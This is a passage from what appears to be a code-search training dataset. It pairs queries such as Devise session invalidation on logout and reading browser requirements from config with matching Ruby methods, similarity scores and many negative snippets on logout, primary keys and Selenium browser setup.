"def get_primary(primary)\n name = nil\n type = \"wire\"\n portion = nil\n msb = nil\n lsb = nil\n \n primary.find( 'IDENTIFIER').each do |net_name|\n name = net_name.content.strip.split[0]\n end\n primary.find( \"expression/*\").each do |num|\n portion = num.content.strip.to_i\n end\n msb,lsb = get_msb_lsb(name,primary)\n \n return FICE_DB::SignalInf.new( :name => name, :type => type, :portion => portion, :msb => msb, :lsb => lsb)\n end",
"def first_page\n # TODO are there cases where main_page = 'README' for 'lib/README'?\n if @options.main_page && (main_file = @all_files.find { |f| f.full_name == @options.main_page })\n main_file\n elsif (file = @simple_files.first)\n file\n elsif (cm = @unique_classes_and_modules.find { |k| !k.comment.empty? })\n cm\n elsif (file = @files_with_comment.first)\n file\n elsif !@unique_classes_and_modules.empty?\n @unique_classes_and_modules.find { |k| k.any_content } or\n @unique_classes_and_modules.first\n else\n @all_files.first\n end\n end",
"def pkey\n table = self.class.table_name\n key = get_primary_key_values.first\n return key\n end",
"def get_file_instance(id)\n raise 'The primary key must be an integer.' unless id.instance_of? Integer\n name_list = []\n while true\n file = Fileinfo[id] \n break if id == file.parent_id\n name_list.push(file.name)\n id = file.parent_id\n end\n find_file(name_list.reverse, 1)\n end",
"def test_file # :nodoc:\n val = test_files and val.first\n end",
"def mapped_id(partial_id)\n globs = dir_glob(partial_id)\n if globs.size == 1\n IO.read(globs[0])\n else\n partial_id\n end\n end",
"def filepath\n @epub.manifest.path_from_id(@id)\n end",
"def parent\n self.study_files.find_by(file_type: self.bundle_type)\n end",
"def filename\n if original_filename\n var = :\"@#{mounted_as}_unique_file_name\"\n model.instance_variable_get(var) or model.instance_variable_set(var, unique_file_name)\n end\n end",
"def decide_files(file)\n return file if file\n spec_files\n end",
"def primary_key\n @json['profile']['primaryKey'] rescue nil\n end",
"def file\n TestIds.database_file(id)\n end",
"def primary_key\n \"#{quoted_table_name}.#{model_class.send :primary_key}\"\n end",
"def primary_key\n \"#{quoted_table_name}.#{model_class.send :primary_key}\"\n end",
"def primary_variation\n @primary_variation ||= @variations.find(&:primary)\n end",
"def get_single_file_id(file_name, owner_id)\n return $db.execute(\"SELECT file_id FROM files WHERE owner_id = ? AND file_name = ?\", owner_id, file_name)[0][\"file_id\"]\nend",
"def primary_key\n self[:primary_key] ||= self[:model].primary_key\n end",
"def iso_file\n resource[:iso_file].first[\"name\"] if resource[:iso_file]\n end",
"def first_record_key\n @first_record_key ||= first_record.key\n end",
"def file\n @file ||= find_file\n end",
"def qualified_primary_key\n cached_fetch(:qualified_primary_key){qualify_cur(primary_key)}\n end",
"def primary_key(value=nil)\n self.primary_key = value unless value.nil?\n \n @primary_key ||= :id\n end",
"def association_primary_key(klass = nil)\n options[:primary_key] || primary_key(klass || self.klass)\n end",
"def filename\n if original_filename\n if model && model.read_attribute(mounted_as).present?\n model.read_attribute(mounted_as)\n else\n @name ||= \"#{mounted_as}-#{uuid}.#{file.extension}\"\n end\n end\n end",
"def root_file\n File.find(name) or raise 'No root file!'\n end",
"def find_primary_key_by_table(table_name)\n @opts[:primary_key].values_at(table_name).first\n end",
"def least_covered_file\n min_by(&:covered_percent).filename\n end"
] |
[
"0.7044957",
"0.6303264",
"0.61474293",
"0.58819026",
"0.5824097",
"0.5817692",
"0.5817692",
"0.58163816",
"0.5797509",
"0.5704231",
"0.56131697",
"0.559982",
"0.55916196",
"0.556773",
"0.5563159",
"0.55624014",
"0.55624014",
"0.5524466",
"0.55004084",
"0.54994243",
"0.54944974",
"0.54920715",
"0.54885656",
"0.5479953",
"0.5461827",
"0.5459701",
"0.54500085",
"0.54497826",
"0.54471797",
"0.54356116",
"0.5430072",
"0.54297215",
"0.5421112",
"0.5417005",
"0.54122216",
"0.5407005",
"0.54069686",
"0.53918767",
"0.53918767",
"0.53918767",
"0.538373",
"0.5374631",
"0.5370255",
"0.5337787",
"0.53296024",
"0.5313504",
"0.53028715",
"0.52729183",
"0.5268808",
"0.52393514",
"0.52282923",
"0.5226118",
"0.5218794",
"0.52127296",
"0.52121806",
"0.5207897",
"0.51885563",
"0.5174899",
"0.51430523",
"0.51389897",
"0.51389897",
"0.5138044",
"0.5130529",
"0.51275605",
"0.5118141",
"0.5114644",
"0.510435",
"0.5092192",
"0.5084535",
"0.50832295",
"0.50785875",
"0.50777185",
"0.5069964",
"0.5061201",
"0.506034",
"0.50586987",
"0.50548506",
"0.50537866",
"0.5049",
"0.50425136",
"0.50368667",
"0.50315565",
"0.5030578",
"0.5024736",
"0.5022783",
"0.5022783",
"0.5010048",
"0.50021994",
"0.4999574",
"0.4995837",
"0.49948236",
"0.49925038",
"0.49913064",
"0.49900547",
"0.49898526",
"0.4988211",
"0.49864715",
"0.4985022",
"0.4984905"
] |
0.88662577
|
1
|
Devise security improvements, used to invalidate old sessions on logout Taken from
|
def authenticatable_salt
"#{super}#{session_token}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sign_out_expired_session\n return unless current_user.present?\n return if current_user.last_sign_in_check.present? && current_user.last_sign_in_check <= 5.minutes.ago\n\n current_user.update last_sign_in_check: Time.now\n\n if UniversumSsoClient.signed_out?(current_user.uid)\n session[:user_id] = nil\n @current_user = nil\n clear_iris_session\n end\n end",
"def log_out_now\n\tsession[:user_id] = nil\nend",
"def sign_out\n reset_session\n end",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\nend",
"def log_out\n session.delete(:user_id)\n session.delete(:user_type)\n session.delete(:user_email)\n @current_user = nil\n end",
"def destroy\n signed_out_user = current_user\n sign_out :user\n session.try(:delete, :_csrf_token)\n # Prevent Token Fixation attacks by generating a new token upon user logout.\n signed_out_user.authentication_token = Devise.friendly_token\n signed_out_user.save\n super\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def signout\n session.delete(:user_id)\n @current_user = nil\n end",
"def sign_out\n reset_session\n @current_user = nil\n end",
"def log_out\n session.delete(:email)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\nend",
"def sign_out\n forget current_user\n session[:user_id] = nil\n end",
"def log_out\n reset_session\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_name)\n session.delete(:user_email)\n @current_user = nil\n end",
"def signout\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n # current_user.created_lists.where(\"name is null\").delete_all\n forget(current_user)\n session.delete(:user_id)\n # sessions.delete(:team_id)\n @current_user = nil\n @current_list = nil\n # @current_team = nil\n cookies.signed[:id] = nil\n session[:current_date]=nil\n session[:list_id]=nil\n\n end",
"def log_out\n forget current_user\n reset_session\n @current_user = nil\n end",
"def log_out_behavior\n session[:user_id] = nil\n redirect_to \"/\"\n end",
"def sign_out\n return unless current_user\n current_user.update_attribute(:session_token, nil)\n session.delete(:token)\n end",
"def log_out\n session.delete(:user_email)\n session.delete(:role)\n end",
"def log_out\n\t\tsession.delete(:authorization)\n\tend",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def sign_out\n session[:user_id] = nil\n end",
"def sign_out\n current_session.destroy if current_session\n @current_session = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user=nil\n end",
"def sign_out\n request.session.delete(:authorized)\n end",
"def log_out\n\t\tsuper\n\t\t@current_user = nil\n\tend",
"def logout\n session[:user] = nil\n session[:permissions] = {}\n session[:admin_user_id] = nil\n redirect_to '/'\n end",
"def sign_out\n session[:user_id] = nil \n session.delete(:user)\n end",
"def sign_out\n session.delete(:user_id)\n end",
"def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end",
"def sign_out\n cookies.permanent[:auth_token] = nil\n session[:scope_id] = session[:scope_type] = session[:redirect] = nil\n end",
"def log_out\n \tsession.delete(:user_id)\n \t@current_user = nil\n end",
"def log_out\n forget current_user\n session.delete :user_id\n @current_user = nil\n end",
"def log_out \n session.clear\n @current_user = nil\n end",
"def sign_out\n #Setting current user's remember_token to a\n #new hash that is in valid\n #The idea is to make every record in the\n #table to look identical in an attempt to\n #thwart evil\n current_user.update_attribute(:remember_token, User.hash(User.new_remember_token))\n #Deletes current user's remember_token from hash\n cookies.delete(:remember_token)\n #sets current use to empty\n self.current_user = nil\n end",
"def log_out\n \tcurrent_user && forget(current_user)\n current_provider && forget(current_provider)\n \tsession.delete(:user_id)\n session.delete(:provider_id)\n \t@current_user = nil\n @current_provider = nil\n end",
"def log_out\n session.delete(:user_id) #remove the user id from the browser cache\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n current_user\n @current_user.auth_token = nil\n @current_user.save!\n @current_user = nil\n end",
"def sign_out\n session[:user_id] = nil\n end",
"def logout_all\r\n\t\tif(!user_signed_in?)\r\n\t\t\tflash.notice = I18n.t('devise.sessions.already_signed_out')\r\n\t\t\tredirect_to root_path and return\r\n\t\tend\r\n\t\t\r\n\t\tsign_out current_user\r\n\t\tflash.notice = I18n.t('devise.sessions.signed_out')\r\n\t\tredirect_to root_path # also find sessions/tokens from all browsers\r\n\tend",
"def log_out\n session[:user_id] = nil\n end",
"def log_out\n\t\tsession.delete(:id)\n\t\t@current_user = nil\n\t\tadmin_session(false)\n\tend",
"def signout\n #Made changes to show feedback form at certain intervals as per discussion & also signout auditors gracefully\n #Author: Ashish Wadekar\n #Date: 16th February 2017\n if @current_user.auditor?\n logout_user\n elsif @current_user.login_count < 6 || @current_user.login_count % 50 == 0\n redirect_to login_logout_feedback_path\n else\n logout_user\n end\n end",
"def log_out\n forget(current_user)\n reset_session\n @current_user = nil\n end",
"def invalidate!\n self.active = false\n self.save!\n if controller\n cookies.delete(:user_session)\n end\n end",
"def log_out\n\t\tsession[:user_id] = nil\n\tend",
"def sign_out\n logout\n end",
"def logout\n reset_session\n redirect_to '/sessions/new'\n end",
"def signout\n session.clear\n end",
"def logout_internal\n self.current_user.forget_me if logged_in?\n reset_session\n cookies.delete :auth_token\n end",
"def destroy\n reset_session\n redirect_to login_url\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\t\t# Setting @current_user to nil would only matter if @current_user were created before the destroy action (which it isn’t) and if we didn’t issue an immediate redirect (which we do). This is an unlikely combination of events, and with the application as presently constructed it isn’t necessary, but because it’s security-related I include it for completeness\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil \n end",
"def log_out\n session.delete(:uid)\n @current_user = nil\n end",
"def log_out\n current_user.reset_session_token!\n session[:session_token] = nil\n end",
"def destroy\n reset_session\n redirect_to login_path\n end",
"def destroy\n # def self.destroy\n session.clear\n redirect_to login_path\n # reset_session\n # redirect :root_path\n # session[:user_id] = []\n end",
"def log_out\n\t\t# current_user.delete_auth_token # won't work with curl, but html is good\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def sign_out\n session.delete :user_id\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n # sessions.delete(:team_id)\n @current_user = nil\n # @current_team = nil\n\n end",
"def clear_session_user\n return if current_user && current_user.email == saml_user\n request.env['warden'].logout\n redirect_to(root_path)\n end",
"def logout\n session.delete(:admin_password)\n redirect_to admin_login_path\n end",
"def log_out\n forget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def signout \n\t if current_user\n\t session[:identity] = nil\n\t session[:authentication_id] = nil\n\t session.delete :identity\n\t session.delete :authentication_id\n\t flash[:notice] = 'You have been signed out!'\n\t end \n\t redirect_to root_url\n\t end",
"def log_out\n session.delete(:user_id)\n session.delete(:destination)\n @current_user = nil\n @current_dest = nil\n end",
"def log_out\n session.delete(:username)\n session.delete(:token)\n @current_user = nil\n end",
"def logout\n reset_session\n redirect_to new_session_path\n end",
"def log_out\n\t\tforget(current_user) #call user.forget\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def user_log_out\n user_forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def deauthenticate\n self.clear_current_user\n redirect_to :root\n end",
"def user_log_out\n forget_user(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\r\n forget(current_user)\r\n session.delete(:user_id)\r\n @current_user = nil\r\n end",
"def sign_out\n cookies.delete(:user_id)\n cookies.delete(:remember_token)\n session.delete(:user_id)\n current_user = nil\n end",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend"
] |
[
"0.7106749",
"0.6990926",
"0.6984968",
"0.69813484",
"0.69718224",
"0.6954962",
"0.69285214",
"0.69272554",
"0.689483",
"0.68845135",
"0.6874036",
"0.6873158",
"0.685214",
"0.6844198",
"0.68310356",
"0.68121976",
"0.68048054",
"0.6768563",
"0.6768341",
"0.67549807",
"0.6750919",
"0.6744785",
"0.67260766",
"0.6718729",
"0.6712238",
"0.67119235",
"0.67099553",
"0.67094177",
"0.67055404",
"0.66995627",
"0.6697762",
"0.6688141",
"0.66862905",
"0.668143",
"0.6679218",
"0.6678741",
"0.6678632",
"0.6675263",
"0.6673531",
"0.6672631",
"0.66710436",
"0.666974",
"0.665894",
"0.6653386",
"0.66477704",
"0.66464037",
"0.6645274",
"0.6645066",
"0.6635704",
"0.6630176",
"0.6616877",
"0.66155493",
"0.6613438",
"0.6607097",
"0.65976304",
"0.6596781",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.6596603",
"0.65963644",
"0.6596263",
"0.65845376",
"0.6581896",
"0.65773964",
"0.6573697",
"0.656968",
"0.65688634",
"0.6566137",
"0.65654624",
"0.656069",
"0.65600055",
"0.6558596",
"0.65501165",
"0.6542415",
"0.6537816",
"0.6536008",
"0.6534883",
"0.6533082",
"0.6529217",
"0.6522264",
"0.65163624"
] |
0.0
|
-1
|
Read browsers requirements from application config
|
def browsers(app)
file = app.root.join('config/autoprefixer.yml')
config = file.exist? ? YAML.load_file(file) : { 'browsers' => nil }
config['browsers']
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def browser_version\n ENV['BROWSER_VERSION']\n end",
"def env_browser_name\n (ENV['BROWSER'] ||= 'firefox')\nend",
"def browsers\n @browsers ||= @data[\"agents\"].keys.map{|b| PUBLIC_BROWSER_NAMES[b] }.sort\n end",
"def browser_cmdline\n browser_env.each do |p|\n Launchy.log \"#{self.class.name} : possibility from BROWSER environment variable : #{p}\"\n end\n app_list.each do |p|\n Launchy.log \"#{self.class.name} : possibility from app_list : #{p}\"\n end\n\n possibilities = (browser_env + app_list).flatten\n\n if browser = possibilities.shift then\n Launchy.log \"#{self.class.name} : Using browser value '#{browser}'\"\n return browser\n end\n raise Launchy::CommandNotFoundError, \"Unable to find a browser command. If this is unexpected, #{Launchy.bug_report_message}\"\n end",
"def browser_info\n # Fetch the UserAgent string using javascript navigator object\n ua_string = browser.execute_script('return navigator.userAgent')\n @parsed_ua = UserAgent.parse(ua_string)\n end",
"def browser_type\n if $TESTWISE_BROWSER then\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n end\n end",
"def browser_name\n (ENV['BROWSER'] ||= 'chrome').downcase.to_sym\nend",
"def browser\n (ENV['BROWSER'] ||= 'chrome').to_sym\nend",
"def browser_supported_by_metamask?\n browser.chrome? || browser.firefox?\n end",
"def configure_browser()\r\n if test_config.browser == \"ie\"\r\n Capybara.register_driver :selenium do |app|\r\n Capybara::Selenium::Driver.new(app, :browser=>:internet_explorer)\r\n end\r\n else\r\n Capybara.register_driver :selenium do |app|\r\n if !(test_config.browserPath.nil? || test_config.browserPath.empty?)\r\n require 'selenium/webdriver'\r\n Selenium::WebDriver::Firefox::Binary.path = test_config.browserPath\r\n end\r\n Capybara::Selenium::Driver.new(app, :browser => :firefox)\r\n end\r\n end\r\n end",
"def get_browser(scenario)\n if ENV['LOCAL']\n return get_local_browser(scenario)\n end\n get_zalenium_browser(scenario)\nend",
"def setup\n if ENV['BROWSER'] == 'firefox'\n $driver = Selenium::WebDriver.for :firefox\n elsif ENV['BROWSER'] == 'chrome'\n $driver = Selenium::WebDriver.for :chrome\n else\n puts 'The only valid browser options are [firefox | chrome]'\n end\nend",
"def browser_type\n if $TESTWISE_BROWSER\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n \"chrome\".to_sym\n end\n end",
"def default_capabilities\n {\n :browserName => \"Chrome\",\n :version => nil,\n :platform => \"Linux\"\n }\n end",
"def browser_name\n env_browser = ENV['BROWSER'] || ENV['BROWSERNAME'] || ENV['BROWSER_NAME'] || ENV['DEVICE']\n env_browser.nil_or_empty? ? config['default_browser'].to_sym : env_browser.downcase.to_sym\n end",
"def common_configuration_for_web(args)\n\n # Assign the privly-applications repository path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :web_browser do |app|\n Capybara::Selenium::Driver.new(app, :browser => @browser.to_sym)\n end\n Capybara.default_driver = :web_browser\n Capybara.current_driver = :web_browser\nend",
"def browser_type\n\t if $TESTWISE_BROWSER then\n\t $TESTWISE_BROWSER.downcase.to_sym\n\t elsif ENV[\"BROWSER\"]\n\t ENV[\"BROWSER\"].downcase.to_sym\n\t else\n\t RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n\t end\n\tend",
"def browser_caps(browser,browser_options)\n target = (browser.to_sym if ENV['BROWSER'].nil? or ENV['browser'].empty?) || (ENV['BROWSER'].to_sym)\n browser,version,platform,device = extract_values_from(target)\n options = {}\n options.merge! browser_options\n caps = capabilities(browser,version,platform,device)\n options[:url] = url if url\n if options.include? :url\n browser = :remote\n options[:desired_capabilities] = caps\n end\n options[:http_client] = http_client if persistent_http or options.delete(:persistent_http)\n return browser,options\n end",
"def basic_collection\n ::Gricer.config.request_model.browsers\n end",
"def development_requirements\n requirements.select do |requirement|\n ! requirements.runtime?\n end\n end",
"def initialize_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n case ENV['browser']\n when 'firefox'\n puts \"\\n>Initializing Firefox browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/geckodriver0.13'\n @browser = Selenium::WebDriver.for :firefox, http_client: client, driver_path: full_path\n when 'chrome'\n puts \"\\n>Initializing Chrome browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/chromedriver2.27'\n @browser = Selenium::WebDriver.for :chrome, http_client: client, driver_path: full_path\n when 'safari'\n puts \"\\n>Initializing Safari browser\"\n @browser = Selenium::WebDriver.for :safari, http_client: client\n else\n @browser = Selenium::WebDriver.for :firefox, http_client: client\n end\n\n @browser.manage.timeouts.page_load = 10\n return @browser\nend",
"def common_configuration_for_firefox_extension\n # Assign the path to find the applications in the extension\n Capybara.app_host = \"chrome://privly\"\n $privly_applications_folder_path = Capybara.app_host + \"/content/privly-applications/\"\n puts \"Packaging the Firefox Extension\"\n system(\"cd ../../../../../ && pwd && jpm xpi && cd chrome/content/privly-applications/test/selenium\")\n # Find out the xpi file name\n json = JSON.load(File.new(\"../../../../../package.json\"))\n xpi_filename = \"privly@priv.ly-\" + json['version'] + \".xpi\"\n # Load the Firefox driver with the extension installed\n @profile = Selenium::WebDriver::Firefox::Profile.new\n @profile[\"extensions.privly.integration_test\"] = \"true\"\n @profile.add_extension(\"../../../../../\" + xpi_filename)\nend",
"def test_current_browsers_detected\n for browser in CURRENT_BROWSERS\n @request.user_agent = browser\n assert ! @page.legacy_browser?\n end\n end",
"def get_browser_data(name_version_pairs)\n \n # Filter our browser name and version based on user agent browser names\n b_names = %w:Safari Firefox MSIE IEMobile Opera Internet\\ Explorer Chrome:\n b_name, b_version = name_version_pairs.find do |name, version|\n b_names.any? {|b_name| name =~ /#{b_name}/}\n end\n \n # Change MSIE to Internet Explorer\n b_name = 'Internet Explorer' if b_name == 'MSIE'\n \n # Change underscores to periods in b_version\n b_version = b_version.gsub(?_,?.) if b_version\n \n # The version number for Safari or Mobile Safari is located in an\"m \"\n # place in the user agent. This will solve that by finding that version number\n version_arr = name_version_pairs.find {|name,version| name == \"Version\"}\n if b_name =~ /Safari/ && version_arr\n b_version = version_arr[1]\n end\n \n \n \n return b_name, b_version\n end",
"def browser_version\n return 0.0 if not request.env['HTTP_USER_AGENT']\n if browser_is('ie')\n return request.env['HTTP_USER_AGENT'].match(/^.*?MSIE ([0-9]+.[0-9]){1}.*?/)[1].to_f\n end\n if browser_is('mozilla')\n return request.env['HTTP_USER_AGENT'].match(/^.*?Firefox\\/([0-9]+.[0-9]){1}.*?/)[1].to_f\n end\n if browser_is('webkit')\n return request.env['HTTP_USER_AGENT'].match(/^.*?Safari\\/([\\d]+\\.[\\d]+[\\.\\d]*)?/)[1].to_f\n end\n end",
"def selenium_env?\n true\nend",
"def common_configuration_for_sauce_web(args)\n\n # Assign the applications path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :sauce_web do |app|\n Capybara::Selenium::Driver.new(\n app,\n :browser => :remote,\n :url => @sauce_url,\n :desired_capabilities => @sauce_caps\n )\n end\n Capybara.default_driver = :sauce_web\n Capybara.current_driver = :sauce_web\nend",
"def init_browser\n Capybara.default_driver = ENV['CAPYBARA_BROWSER'].to_sym\n # script driver\n Capybara.javascript_driver = case ENV['CAPYBARA_BROWSER']\n when /poltergeist/\n :poltergeist\n when /headless_chrome/\n :headless_chrome\n when /headless_firefox/\n :headless_firefox\n end\nend",
"def browserstack\n # Documentation and the code for this class can be found here\n # http://www.rubydoc.info/gems/selenium-webdriver/0.0.28/Selenium/WebDriver/Remote/Capabilities\n # https://github.com/SeleniumHQ/selenium/blob/master/rb/lib/selenium/webdriver/remote/capabilities.rb\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n\n config.browserstack.capabilities.each do |key, value|\n capabilities[key] = value\n end\n\n capabilities\n end",
"def capabilities\n @capabilities ||= @data[\"data\"].keys.select do |cap|\n cats = @data[\"data\"][cap][\"categories\"]\n cats.any?{|cat| cat =~ /CSS/ }\n end.sort\n end",
"def read_headers\n @app_environment = request.headers[\"x-vendor-appEnvironment\"]\n @app_version = request.headers[\"x-vendor-appVersion\"]\n end",
"def set_browser_os()\r\n browsers = Array['chrome']\r\n $os = 'Mac'\r\n if (RUBY_PLATFORM =~ /w32/) # windows\r\n $os = 'Windows'\r\n browsers = Array['chrome']\r\n elsif (RUBY_PLATFORM =~ /darwin/) # mac\r\n $os = 'Mac'\r\n browsers = Array['chrome','safari']\r\n end\r\nend",
"def browser_name\n @browser_name ||= begin\n\n ua = ''\n ua = request.env['HTTP_USER_AGENT'].downcase if request.env['HTTP_USER_AGENT']\n \n if ua.index('webtv')\n 'webtv'\n elsif ua.index(/(Mobile\\/.+Safari)/)\n 'mobile safari'\n elsif ua.index('gecko/')\n 'gecko'\n elsif ua.index('opera')\n 'opera'\n elsif ua.index('konqueror') \n 'konqueror'\n elsif ua.index('chrome/') # chrome\n #Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5\n 'chrome'\n elsif ua.index('applewebkit/')\n #Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\n 'safari'\n elsif ua.index('msie')\n 'ie'+ua[ua.index('msie')+5].chr\n elsif ua.index('mozilla/')\n 'gecko'\n elsif ua.index('Rails')\n 'rails'\n elsif ua.index('nagios')\n 'nagios'\n #check_http/v2053 (nagios-plugins 1.4.13)\n else\n ''\n end\n \n end\n end",
"def client_browser_version \n user_agent = (request.env['HTTP_USER_AGENT'] || \"\").downcase \n if user_agent =~ /msie 8/i \n \"MSIE8\" \n elsif user_agent =~ /msie 7/i \n \"MSIE7\" \n elsif user_agent =~ /msie 6/i \n \"MSIE6\" \n else \n \"Other\" \n end \n end",
"def browser\n BrowserInst.browser\n end",
"def config(app)\n file = app.root.join('config/autoprefixer.yml')\n options = file.exist? ? YAML.load_file(file).symbolize_keys : { }\n options = { browsers: nil }.merge(options)\n [options.delete(:browsers), options]\n end",
"def test_on_current_browsers\n for current_browser in CURRENT_BROWSERS\n @request.user_agent = current_browser\n get :index\n assert_response :success\n assert_select 'img[src*=painless_test.png]'\n end\n end",
"def test_read_configuration_proxy\r\n\t\tconf = WebBrowserConfiguration.new(\"visitor/WebBrowserConfigurationUnitTestProxy.xml\")\r\n\t\tassert_equal(20,conf.browser_threads,\"browser threads not as expected.\") #default value\r\n\t\tassert_equal(\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\",conf.user_agent,\"user agent not as expected.\")\r\n\t\tassert_equal(\"192.168.74.3\",conf.server,\"proxy server not as expected\")\r\n\t\tassert_equal(3128,conf.port,\"proxy server port not as expected\")\r\n\t\t\r\n\r\n\tend",
"def browser\n BrowserInst.browser\n end",
"def browser_family\n browser_parser.family.browser\n end",
"def browser\n @options[:browser] ||= self.class.create_browser\n end",
"def web_browser_cookie_settings\n return @web_browser_cookie_settings\n end",
"def basic_collection\n ::Gricer.config.session_model.browsers\n end",
"def initialize( config, logger )\n @config = config\n @logger = logger\n\n @logger.debug \"Requested browser config: #{@config.get :global, :browser }\"\n\n type=@config.get :global, :browser, :type\n browser=@config.get :global, :browser, :browser\n port=@config.get :global, :browser, :port\n url=@config.get_default false, :global, :browser, :url\n extra_capabilities=@config.get_default false, :global, :browser, :extras\n if ! extra_capabilities\n extra_capabilities = Hash.new\n end\n\n if browser =~ %r{^\\s*ie\\s*$} or browser =~ %r{^\\s*internet\\s*_?\\s*explorer\\s*$}\n browser = 'internet explorer'\n end\n\n @logger.debug \"Launching some browser; #{type}, #{port}, #{browser}\"\n\n if type == 'remote'\n @logger.info \"Launching remote browser #{browser} on port #{port}\"\n capabilities = Selenium::WebDriver::Remote::Capabilities.new(\n :browser_name => browser,\n :javascript_enabled=>true,\n :css_selectors_enabled=>true,\n :takes_screenshot=>true,\n )\n # Load in any other stuff the user asked for\n @logger.debug \"Requested extra capabilities: #{extra_capabilities.inspect}\"\n extra_capabilities.each do |key, value|\n @logger.debug \"Adding capability #{key} with value #{value}\"\n capabilities[key] = value\n end\n\n if url\n @logger.debug \"Launching with custom url #{url}\"\n else\n url = \"http://127.0.0.1:#{port}/wd/hub\"\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = config.get_default( 600, :global, :browser, :timeout )\n\n @browser = Watir::Browser.new(:remote, :url => url, :desired_capabilities => capabilities, :http_client => client)\n else\n @logger.info \"Launching local browser #{browser}\"\n @browser = Watir::Browser.new browser\n end\n end",
"def scrapping_options\n opts = {\n headless: true\n }\n\n if Rails.env.production?\n if (chrome_bin = ENV.fetch('GOOGLE_CHROME_SHIM', nil))\n opts[:options] = { binary: chrome_bin }\n end\n else\n chrome_bin = '/usr/bin/google-chrome'\n opts[:options] = { binary: chrome_bin }\n end\n opts\nend",
